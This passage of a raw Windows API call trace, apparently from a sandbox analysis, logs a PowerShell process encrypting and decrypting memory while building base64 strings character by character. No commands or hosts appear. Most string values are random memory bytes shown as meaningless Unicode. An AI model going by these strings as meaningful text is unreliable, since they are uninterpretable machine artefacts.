(param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐艠濈玬⎿ß텢₫斮㯖ꠃ娭䐰죭㦂⏨⺿흏嫇鲸뀪埯⊫) returned 0x28 [0243.824] SystemFunction041 (in: Memory=0x5c9b3fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b3fc) returned 0x0 [0243.824] SysStringLen (param_1="YH1a6AuMqifpTTDafqcs65+nfuB55H9iN36gl00⬳") returned 0x28 [0243.824] SystemFunction040 (in: Memory=0x5c9b3fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b3fc) returned 0x0 [0243.825] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐艠濈玬⎿ß텢₫斮㯖ꠃ娭䐰죭㦂⏨ꎿ礍癢힥횟௚罾큖⋖) returned 0x28 [0243.825] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐艠濈玬⎿ß텢₫斮㯖ꠃ娭䐰죭㦂⏨ꎿ礍癢힥횟௚罾큖⋖) returned 0x28 [0243.825] SystemFunction041 (in: Memory=0x5c9b3fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b3fc) returned 0x0 [0243.825] SysStringLen (param_1="YH1a6AuMqifpTTDafqcs65+nfuB55H9iN36gl00a") returned 0x28 [0243.825] SystemFunction040 (in: Memory=0x5c9b3fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b3fc) returned 0x0 [0243.825] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐艠濈玬⎿ß텢₫斮㯖ꠃ娭䐰죭㦂⏨ꞿ岥砀昀搀攀搀Ԁ䙵趄ힹ旛⊌) returned 0x28 [0243.825] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐艠濈玬⎿ß텢₫斮㯖ꠃ娭䐰죭㦂⏨ꞿ岥砀昀搀攀搀Ԁ䙵趄ힹ旛⊌) returned 0x28 [0243.825] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐艠濈玬⎿ß텢₫斮㯖ꠃ娭䐰죭㦂⏨ꞿ岥砀昀搀攀搀Ԁ䙵趄ힹ旛⊌) returned 0x28 [0243.826] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐艠濈玬⎿ß텢₫斮㯖ꠃ娭䐰죭㦂⏨ꞿ岥砀昀搀攀搀Ԁ䙵趄ힹ旛⊌) returned 0x30 [0243.826] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0243.826] SysStringLen (param_1="YH1a6AuMqifpTTDafqcs65+nfuB55H9iN36gl00aY앸ɬ㺈㉢涨外䇉") returned 0x30 [0243.826] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0243.826] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐艠濈玬⎿ß텢₫斮㯖ꠃ娭䐰죭㦂⏨ꞿ岥砀昀搀攀搀Ԁ䙵趄ힹ旛榌爺穷泘嫥糳≏) returned 0x30 [0243.826] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐艠濈玬⎿ß텢₫斮㯖ꠃ娭䐰죭㦂⏨ꞿ岥砀昀搀攀搀Ԁ䙵趄ힹ旛榌爺穷泘嫥糳≏) returned 0x30 [0243.826] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0243.826] SysStringLen (param_1="YH1a6AuMqifpTTDafqcs65+nfuB55H9iN36gl00aYFɬ㺈㉢涨外䇉") returned 0x30 [0243.826] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0243.826] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐艠濈玬⎿ß텢₫斮㯖ꠃ娭䐰죭㦂⏨ꞿ岥砀昀搀攀搀Ԁ䙵趄ힹ旛沌䔾鿚ᒍ쏱媾€⊉) returned 0x30 [0243.826] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐艠濈玬⎿ß텢₫斮㯖ꠃ娭䐰죭㦂⏨ꞿ岥砀昀搀攀搀Ԁ䙵趄ힹ旛沌䔾鿚ᒍ쏱媾€⊉) returned 0x30 [0243.826] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0243.827] SysStringLen (param_1="YH1a6AuMqifpTTDafqcs65+nfuB55H9iN36gl00aYFI㺈㉢涨外䇉") returned 0x30 [0243.827] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0243.827] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐艠濈玬⎿ß텢₫斮㯖ꠃ娭䐰죭㦂⏨ꞿ岥砀昀搀攀搀Ԁ䙵趄ힹ旛墤뷌䌐믂媜譥ᕡ⋜) returned 0x30 [0243.827] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐艠濈玬⎿ß텢₫斮㯖ꠃ娭䐰죭㦂⏨ꞿ岥砀昀搀攀搀Ԁ䙵趄ힹ旛墤뷌䌐믂媜譥ᕡ⋜) returned 0x30 [0243.827] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0243.827] SysStringLen (param_1="YH1a6AuMqifpTTDafqcs65+nfuB55H9iN36gl00aYFI=㉢涨外䇉") returned 0x30 [0243.827] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0243.827] EtwEventActivityIdControl () returned 0x0 [0243.827] EtwEventActivityIdControl () returned 0x0 [0243.827] EtwEventActivityIdControl () returned 0x0 [0243.828] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.828] EtwEventActivityIdControl () returned 0x0 [0243.828] EtwEventActivityIdControl () returned 0x0 [0243.828] EtwEventActivityIdControl () returned 0x0 [0243.829] SysStringLen (param_1="") returned 0x8 [0243.829] SysStringLen (param_1="N") returned 0x8 [0243.829] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.829] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0243.829] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0243.829] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.829] SysStringLen (param_1="ND") returned 0x8 [0243.829] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.829] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0243.829] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0243.829] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.830] SysStringLen (param_1="NDZ") returned 0x8 [0243.830] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.830] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0243.830] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0243.830] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.830] SysStringLen (param_1="NDZl") returned 0x8 [0243.830] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.830] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0243.830] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0243.830] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.830] SysStringLen (param_1="NDZlO") returned 0x8 [0243.830] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.831] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0243.831] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0243.831] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.831] SysStringLen (param_1="NDZlOD") returned 0x8 [0243.831] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.831] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0243.831] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0243.831] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.831] SysStringLen (param_1="NDZlODR") returned 0x8 [0243.831] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.831] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0243.831] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0243.831] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.831] SysStringLen (param_1="NDZlODRm") returned 0x8 [0243.831] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.832] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0243.832] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0243.832] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0243.832] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0243.832] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.833] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0243.833] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.833] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0243.833] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0243.833] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.833] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0243.833] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.833] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0243.833] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0243.833] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.833] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0243.833] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.834] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0243.834] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0243.834] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.834] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0243.834] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.834] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0243.834] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0243.834] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.834] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0243.834] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.834] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0243.834] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0243.834] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.834] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0243.835] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.835] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0243.835] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0243.835] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.835] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0243.835] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.835] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0243.835] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0243.835] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.835] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0243.835] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.835] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0243.836] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0243.836] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0243.836] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0243.836] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.836] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0243.836] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.836] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0243.836] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0243.836] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.837] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0243.837] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.837] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0243.837] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0243.837] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.837] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0243.837] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.837] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0243.837] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0243.837] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.837] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0243.837] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.837] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0243.838] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0243.838] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.838] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0243.838] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.838] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0243.838] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0243.838] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.838] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0243.838] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.838] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0243.838] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0243.838] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.838] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0243.838] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.839] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0243.839] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0243.839] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.839] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0243.839] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.839] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0243.839] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0243.839] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0243.840] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0243.840] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.840] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0243.840] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.840] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0243.840] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0243.840] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.840] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0243.840] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.840] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0243.840] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0243.840] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.840] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0243.841] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.841] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0243.841] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0243.841] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.841] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0243.841] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.841] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0243.841] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0243.841] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.841] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0243.841] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.841] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0243.841] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0243.841] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.842] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0243.842] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.842] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0243.842] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0243.842] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.842] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0243.842] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.842] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0243.842] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0243.842] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.842] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0243.842] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.842] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0243.843] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0243.843] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0243.843] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0243.843] SystemFunction041 (in: Memory=0x5c9b3fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b3fc) returned 0x0 [0243.843] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0243.843] SystemFunction040 (in: 